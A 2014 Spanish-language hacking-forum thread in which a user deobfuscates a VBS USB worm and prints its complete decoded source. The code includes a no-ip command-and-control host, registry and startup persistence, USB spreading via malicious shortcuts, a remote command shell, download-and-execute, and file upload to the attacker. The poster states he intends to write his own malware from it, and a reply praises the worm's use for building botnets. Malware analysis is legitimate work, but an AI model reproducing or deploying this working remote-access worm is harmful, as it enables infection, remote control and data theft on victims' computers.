elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Autopsia a un Malware en VBS
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Autopsia a un Malware en VBS  (Leído 6,687 veces)
+DEIMOS+

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Autopsia a un Malware en VBS
« en: 14 Enero 2014, 05:41 am »

Saludos a todos!!!!!

Este es mi primer post en este foro. Resulta que como entre otras cosas reparo computadoras, hace ya un tiempo que me habia topado con un virus que han bautizado con varios nombres, se trata de un script en VBS, que esconde todos los archivos y carpetas de una USB  y en su lugar coloca accesos directos.

Y bueno, la verdad es que no le había puesto mucha atención, hasta hace unos dias que al pasar a un ciber, lo mismo le ocurrió a mi USB, y que fastidio, total, lo eliminé y recuperé los archivos, pero lo interesante de esto es que me dia a la tarea de ver esactamente como es que funciona.

Antes de seguir mas adelante debo decir que conozco más de electrónica que de programación, así que lo que hice primero fue localizar donde estaban los archivos.

Resulta que se ocultan por que el Script le atribuye a todos los archivos la propiedad para que se lean como archivos de sistema, así que por default el explorador de Windows los oculta, ya vistos, cambie las propiedades de todos los archivos desde DOS, así que ahí estaba el Script en VBS llamado:

jawkdbbqye.vbs

lo abrí en el notepad, y este fue el resultado:
Código:
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYa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ykobGQDiHhxUFRazc = AfViWjUZEWykobGQDiHhxUFRazc & ABNJMQfqgVWpSnxcx
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
NEXT
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
'executeGlobal (AfViWjUZEWykobGQDiHhxUFRazc)
MsgBox AfViWjUZEWykobGQDiHhxUFRazc
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
Function ZPThSyJcPaIN(BdyfsDVfdut,eDtUkIRZObsZnFxVKydPXw)
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
Dim chUsUwdWCKLsAgwfZDHXIPXcX, slHcnIpUFPzMwdVEC, RGfMGpFZmVfMJtVBEsPaWDDgah, NHeCENhKRofeRWOVTptFGr, ZdpcTNCylZJsRITaybjENYNxEIh
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
ZdpcTNCylZJsRITaybjENYNxEIh = ""
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
chUsUwdWCKLsAgwfZDHXIPXcX = Len(eDtUkIRZObsZnFxVKydPXw)
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
slHcnIpUFPzMwdVEC = 1
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
RGfMGpFZmVfMJtVBEsPaWDDgah = Len(BdyfsDVfdut)
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
BdyfsDVfdut = StrReverse(BdyfsDVfdut)
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
For NHeCENhKRofeRWOVTptFGr = RGfMGpFZmVfMJtVBEsPaWDDgah To 1 Step - 1
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
ZdpcTNCylZJsRITaybjENYNxEIh = ZdpcTNCylZJsRITaybjENYNxEIh & chrw(ascw(Mid(BdyfsDVfdut,NHeCENhKRofeRWOVTptFGr,1)) - Ascw(Mid(eDtUkIRZObsZnFxVKydPXw,slHcnIpUFPzMwdVEC,1)))
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
slHcnIpUFPzMwdVEC = slHcnIpUFPzMwdVEC+1
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
If slHcnIpUFPzMwdVEC > chUsUwdWCKLsAgwfZDHXIPXcX Then slHcnIpUFPzMwdVEC = 1
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
Next
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
ZdpcTNCylZJsRITaybjENYNxEIh=StrReverse(ZdpcTNCylZJsRITaybjENYNxEIh)
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
ZPThSyJcPaIN = ZdpcTNCylZJsRITaybjENYNxEIh
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
End Function
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW
' MgQZGvuhDodwAqwWcxtEkNyCTqefPGVNGOEIEGGebWYaTKyXyW


A primera vista me pareció bastante confuso, así que para comprenderlo mejor me dí a la tarea de
* Quitar los supuestos comentarios
* Sustituir los nombres de las variables por unas mas decentes, y este fue el resultado:

Código:
Matriz="400~$421~$452~$............[i]Y la misma matriz de arriba[/i]

dim Limitador
Limitador = "~$"
Matriz=SPLIT(Matriz, Limitador)
dim Valor
Valor = 0
dim Subindice
Subindice = UBOUND(Matriz) - 1
FOR Uno = Valor TO Subindice
dim var1
dim var2
dim var3
var3 = "b6cUh1SwCqv7v098OXIMiEleb"
var2 = Matriz(Uno)
var1 = char(CHRW(var2 - 263) ,var3)
resultado = resultado & var1

NEXT

executeGlobal (resultado)
Function char(val2,var3)
Dim x1, x2, x3, x4, x5
x5 = ""
x1 = Len(var3)
x2 = 1
x3 = Len(val2)
val2 = StrReverse(val2)
For x4 = x3 To 1 Step - 1
x5 = x5 & chrw(ascw(Mid(val2,x4,1)) - Ascw(Mid(var3,x2,1)))
x2 = x2+1
If x2 > x1 Then x2 = 1
Next
x5=StrReverse(x5)
char = x5
End Function

Y bueno, la verdad es que antes de esto nunca había utilizado VBS pero sí VB, por lo que a primera vista medio lo entendí, lo que sí me era claro era que no vi ni un solo comando que pudiera hacer un acceso directo, etc. así que viendo que hace luego unas conversiones a caracter con chrw y ascw, pensé que tal vez estaba de cierta forma cifrado o algo así =P, tal vez para que no copiaran su código.

Pensando unos minutos se me ocurrió agregar el código:

Código:
MsgBox resultado

Pues supuse a primera vista que el comando ya "descifrado" se colocaba en esta variable, así que coloque ese codigo para ver el resultado, pero antes coloque un " ' " antes de la línea:

Código:
'ExecuteGlobal

Pues supuse que aquí era donde se ejecutaban los comandos ya descifrados, solo para no tener el fastidio de volver a tener que quitar el virus.

El resultado fue que al correr el virus salió una ventanita con lo siguiente:

Código:
'<[ recoder : houdini (c) skype : houdini-fx ]>

'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=

host = "ubntcrazy.no-ip.biz"
port = 105
installdir = "%temp%"
lnkfile = true
lnkfolder = true

'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=

dim shellobj
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")


'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=

installname = wscript.scriptname
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
spliter = "<" & "|" & ">"
sleep = 5000
dim response
dim cmd
dim param
info = ""
usbspreading = ""
startdate = ""
dim oneonce

'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
on error resume next


instance
while true

in

;-)  Era el codigo!!!!, pero.... parecía incompleto, aunque lo primero obviamente que llamó mi atención fue el host gratuito de no-ip, obviamente se trata de que n uestro equipo infectado se comunique con este host, que segun su IP se encuentra en Irak  :rolleyes:

Pero bueno, lo importante era extraer todo el codigo, y dado que la MsgBox ocupaba toda la ventana, imaginé que no era la mejor manera de visualizarlo pues nunca he visto una barra en un MsgBox, así que añadi:

(basado en el tuto de bvs de este foro  ;)   )

Código:
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("E:\archivo.txt",true)
archivotexto.writeline resultado
archivotexto.close

Y...... el código completo en el archivo!!!!   ;-) ;-)  ;-) :

Código:
'<[ recoder : houdini (c) skype : houdini-fx ]>

'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=

host = "ubntcrazy.no-ip.biz"
port = 105
installdir = "%temp%"
lnkfile = true
lnkfolder = true

'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=

dim shellobj
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")


'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=

installname = wscript.scriptname
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
spliter = "<" & "|" & ">"
sleep = 5000
dim response
dim cmd
dim param
info = ""
usbspreading = ""
startdate = ""
dim oneonce

'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
on error resume next


instance
while true

install

response = ""
response = post ("is-ready","")
cmd = split (response,spliter)
select case cmd (0)
case "excecute"
      param = cmd (1)
      execute param
case "update"
      param = cmd (1)
      oneonce.close
      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
      oneonce.write param
      oneonce.close
      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
      wscript.quit
case "uninstall"
      uninstall
case "send"
      download cmd (1),cmd (2)
case "site-send"
      sitedownloader cmd (1),cmd (2)
case "recv"
      param = cmd (1)
      upload (param)
case  "enum-driver"
      post "is-enum-driver",enumdriver 
case  "enum-faf"
      param = cmd (1)
      post "is-enum-faf",enumfaf (param)
case  "enum-process"
      post "is-enum-process",enumprocess   
case  "cmd-shell"
      param = cmd (1)
      post "is-cmd-shell",cmdshell (param) 
case  "delete"
      param = cmd (1)
      deletefaf (param)
case  "exit-process"
      param = cmd (1)
      exitprocess (param)
case  "sleep"
      param = cmd (1)
      sleep = eval (param)       
end select

wscript.sleep sleep

wend


sub install
on error resume next
dim lnkobj
dim filename
dim foldername
dim fileicon
dim foldericon

upstart
for each drive in filesystemobj.drives

if  drive.isready = true then
if  drive.freespace  > 0 then
if  drive.drivetype  = 1 then
    filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
    if  filesystemobj.fileexists (drive.path & "\" & installname)  then
        filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
    end if
    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
        if not lnkfile then exit for
        if  instr (file.name,".") then
            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                file.attributes = 2+4
                if  ucase (file.name) <> ucase (installname) then
                    filename = split(file.name,".")
                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk")
                    lnkobj.windowstyle = 7
                    lnkobj.targetpath = "cmd.exe"
                    lnkobj.workingdirectory = ""
                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
                    if  instr (fileicon,",") = 0 then
                        lnkobj.iconlocation = file.path
                    else
                        lnkobj.iconlocation = fileicon
                    end if
                    lnkobj.save()
                end if
            end if
        end if
    next
    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
        if not lnkfolder then exit for
        folder.attributes = 2+4
        foldername = folder.name
        set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk")
        lnkobj.windowstyle = 7
        lnkobj.targetpath = "cmd.exe"
        lnkobj.workingdirectory = ""
        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
        if  instr (foldericon,",") = 0 then
            lnkobj.iconlocation = folder.path
        else
            lnkobj.iconlocation = foldericon
        end if
        lnkobj.save()
    next
end If
end If
end if
next
err.clear
end sub

sub uninstall
on error resume next
dim filename
dim foldername

shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
filesystemobj.deletefile startup & installname ,true
filesystemobj.deletefile wscript.scriptfullname ,true

for  each drive in filesystemobj.drives
if  drive.isready = true then
if  drive.freespace  > 0 then
if  drive.drivetype  = 1 then
    for  each file in filesystemobj.getfolder ( drive.path & "\").files
         on error resume next
         if  instr (file.name,".") then
             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                 file.attributes = 0
                 if  ucase (file.name) <> ucase (installname) then
                     filename = split(file.name,".")
                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                 else
                     filesystemobj.deletefile (drive.path & "\" & file.name)
                 end If
             else
                 filesystemobj.deletefile (file.path)
             end if
         end if
     next
     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
         folder.attributes = 0
     next
end if
end if
end if
next
wscript.quit
end sub

function post (cmd ,param)

post = param
httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
httpobj.setrequestheader "user-agent:",information
httpobj.send param
post = httpobj.responsetext
end function

function information
on error resume next
if  inf = "" then
    inf = hwid & spliter
    inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter
    inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter

    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set os = root.execquery ("select * from win32_operatingsystem")
    for each osinfo in os
       inf = inf & osinfo.caption & spliter 
       exit for
    next
    inf = inf & "plus" & spliter
    inf = inf & security & spliter
    inf = inf & usbspreading
    information = inf 
else
    information = inf
end if
end function


sub upstart ()
on error resume Next

shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true

end sub


function hwid
on error resume next

set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set disks = root.execquery ("select * from win32_logicaldisk")
for each disk in disks
    if  disk.volumeserialnumber <> "" then
        hwid = disk.volumeserialnumber
        exit for
    end if
next
end function


function security
on error resume next

security = ""

set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
for each objitem in colitems
    versionstr = split (objitem.version,".")
next
versionstr = split (colitems.version,".")
osversion = versionstr (0) & "."
for  x = 1 to ubound (versionstr)
osversion = osversion &  versionstr (i)
next
osversion = eval (osversion)
if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"

set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)

for each objantivirus in colantivirus
    security  = security  & objantivirus.displayname & " ."
next
if security  = "" then security  = "nan-av"
end function


function instance
on error resume next

usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
if usbspreading = "" then
   if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
      usbspreading = "true - " & date
      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
   else
      usbspreading = "false - " & date
      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"

   end if
end If



upstart
set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
set installfullnameshort =  filesystemobj.getfile (installdir & installname)
if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
    wscript.quit
end If
err.clear
set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
if  err.number > 0 then wscript.quit
end function


sub sitedownloader (fileurl,filename)

strlink = fileurl
strsaveto = installdir & filename
set objhttpdownload = createobject("msxml2.xmlhttp" )
objhttpdownload.open "get", strlink, false
objhttpdownload.send

set objfsodownload = createobject ("scripting.filesystemobject")
if  objfsodownload.fileexists (strsaveto) then
    objfsodownload.deletefile (strsaveto)
end if
 
if objhttpdownload.status = 200 then
   dim  objstreamdownload
   set  objstreamdownload = createobject("adodb.stream")
   with objstreamdownload
.type = 1
.open
.write objhttpdownload.responsebody
.savetofile strsaveto
.close
   end with
   set objstreamdownload = nothing
end if
if objfsodownload.fileexists(strsaveto) then
   shellobj.run objfsodownload.getfile (strsaveto).shortpath
end if
end sub

sub download (fileurl,filedir)

if filedir = "" then
   filedir = installdir
end if

strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
set objhttpdownload = createobject("msxml2.xmlhttp")
objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
objhttpdownload.send ""
     
set objfsodownload = createobject ("scripting.filesystemobject")
if  objfsodownload.fileexists (strsaveto) then
    objfsodownload.deletefile (strsaveto)
end if
if  objhttpdownload.status = 200 then
    dim  objstreamdownload
set  objstreamdownload = createobject("adodb.stream")
    with objstreamdownload
.type = 1
.open
.write objhttpdownload.responsebody
.savetofile strsaveto
.close
end with
    set objstreamdownload  = nothing
end if
if objfsodownload.fileexists(strsaveto) then
   shellobj.run objfsodownload.getfile (strsaveto).shortpath
end if
end sub


function upload (fileurl)

dim  httpobj,objstreamuploade,buffer
set  objstreamuploade = createobject("adodb.stream")
with objstreamuploade
     .type = 1
     .open
.loadfromfile fileurl
buffer = .read
.close
end with
set objstreamdownload = nothing
set httpobj = createobject("msxml2.xmlhttp")
httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
httpobj.send buffer
end function


function enumdriver ()

for  each drive in filesystemobj.drives
if   drive.isready = true then
     enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
end if
next
end Function

function enumfaf (enumdir)

enumfaf = enumdir & spliter
for  each folder in filesystemobj.getfolder (enumdir).subfolders
     enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
next

for  each file in filesystemobj.getfolder (enumdir).files
     enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter

next
end function


function enumprocess ()

on error resume next

set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
set colitems = objwmiservice.execquery("select * from win32_process",,48)

dim objitem
for each objitem in colitems
enumprocess = enumprocess & objitem.name & "|"
enumprocess = enumprocess & objitem.processid & "|"
    enumprocess = enumprocess & objitem.executablepath & spliter
next
end function

sub exitprocess (pid)
on error resume next

shellobj.run "taskkill /F /T /PID " & pid,7,true
end sub

sub deletefaf (url)
on error resume next

filesystemobj.deletefile url
filesystemobj.deletefolder url

end sub

function cmdshell (cmd)

dim httpobj,oexec,readallfromany

set oexec = shellobj.exec ("%comspec% /c " & cmd)
if not oexec.stdout.atendofstream then
   readallfromany = oexec.stdout.readall
elseif not oexec.stderr.atendofstream then
   readallfromany = oexec.stderr.readall
else
   readallfromany = ""
end if

cmdshell = readallfromany
end function

Y bueno, jaja escribo esto cuando acabo de descubrir el codigo correcto, así que dejaremos esto en un continuará mientras examinamos el funcionamiento del codigo, una buena forma de aprender el VBS no????

Y por supuesto, uno de mis objetivos es aprender a usarlo para desarrollar mi propio Maleware en VBS, supongo utilizando el Meterpreter para escuchar en el puerto designado.... pero ya lo veremos despues...

Espero que haya sido interesante para ustedes como lo fue para mí......

Seguire posteando mi progreso......


« Última modificación: 14 Enero 2014, 06:01 am por +DEIMOS+ » En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Autopsia a un Malware en VBS
« Respuesta #1 en: 14 Enero 2014, 05:44 am »

estás haciendo un aporte, una pregunta o que? :s me parece que tu mensaje se quedó a la mitad
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
+DEIMOS+

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Autopsia a un Malware en VBS
« Respuesta #2 en: 14 Enero 2014, 05:53 am »

=P ps las dos... pero es mi primer post... y no se por que no sale completo, esta muy largo???
En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Autopsia a un Malware en VBS
« Respuesta #3 en: 14 Enero 2014, 06:01 am »

no creo, he visto posts REALMENTE largos... tal vez lo copiaste mal, modifícalo y trata de pegarlo de nuevo....

y también postea la pregunta :P
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
+DEIMOS+

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Autopsia a un Malware en VBS
« Respuesta #4 en: 14 Enero 2014, 06:02 am »

listo..... fue errror mio pero bueno ya esta listo, espero lo disfrutenn gracias  ;D
En línea

xxxposeidonxxx

Desconectado Desconectado

Mensajes: 83



Ver Perfil WWW
Re: Autopsia a un Malware en VBS
« Respuesta #5 en: 14 Enero 2014, 07:08 am »

Este es el buldier

En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Autopsia a un Malware en VBS
« Respuesta #6 en: 14 Enero 2014, 07:16 am »

me parece haber visto partes de ese malware antes... creo que es otra versión :P pero buen trabajo!

ahora... sube algo a la red o solo la info de la maquina? por otro lado, como es que toca registro y esas cosas sin permisos de administrador?
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
xxxposeidonxxx

Desconectado Desconectado

Mensajes: 83



Ver Perfil WWW
Re: Autopsia a un Malware en VBS
« Respuesta #7 en: 14 Enero 2014, 07:39 am »

me parece haber visto partes de ese malware antes... creo que es otra versión :P pero buen trabajo!

ahora... sube algo a la red o solo la info de la maquina? por otro lado, como es que toca registro y esas cosas sin permisos de administrador?

Información del PC básica, la meta de este malware  es propagación por USB, parece efectivo contra antivirus o parecía, al saltarse SandBox, Proactivas y demás... Un amigo (Porque yo no uso malware) me contó que ejecuto este Worm a 100 remotos y en 1 semana tenia 2.000 conectados y seguía subiendo el numero de personas por día. Un buen partido para BotMasters, si calculas el numero mencionado antes mas un vídeo de Facebook Fake... Rápido puedes tener un buen ejercito...

En línea

Mad Antrax
Colaborador
***
Desconectado Desconectado

Mensajes: 2.164


Cheats y Trainers para todos!


Ver Perfil WWW
Re: Autopsia a un Malware en VBS
« Respuesta #8 en: 15 Enero 2014, 08:27 am »

me parece haber visto partes de ese malware antes... creo que es otra versión :P pero buen trabajo!

ahora... sube algo a la red o solo la info de la maquina? por otro lado, como es que toca registro y esas cosas sin permisos de administrador?

Exacto, ya apareció ese worm en el foro hace unos meses, precisamente lo destripé yo mismo (no es complicado). Recomiendo que leáis el post original:

http://foro.elhacker.net/analisis_y_diseno_de_malware/resuelto_infeccion_de_usb_y_equipo_por_fyzbnaksvuvbs-t400762.0.html

Saludos
En línea

No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
+DEIMOS+

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Autopsia a un Malware en VBS
« Respuesta #9 en: 15 Enero 2014, 21:14 pm »

Exacto, ya apareció ese worm en el foro hace unos meses, precisamente lo destripé yo mismo (no es complicado). Recomiendo que leáis el post original:

http://foro.elhacker.net/analisis_y_diseno_de_malware/resuelto_infeccion_de_usb_y_equipo_por_fyzbnaksvuvbs-t400762.0.html


Cierto !!!! =P
disculpa, soy nuevo en el foro, pero esta muy bien..... chekaré lo que explicas para experimentar con el .
Gracias,,, me ahorras oras de trabajo
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Malware
Scripting
DProduct 1 2,822 Último mensaje 4 Febrero 2008, 12:18 pm
por MK-Ultra
Malware vs. Analistas de Malware
Análisis y Diseño de Malware
@Sthéfano 0 3,200 Último mensaje 20 Julio 2011, 01:51 am
por @Sthéfano
Surgeon Simulator ya te deja hacerle la autopsia a un extraterrestre (en iPad)
Noticias
wolfbcn 0 1,189 Último mensaje 2 Junio 2014, 02:23 am
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines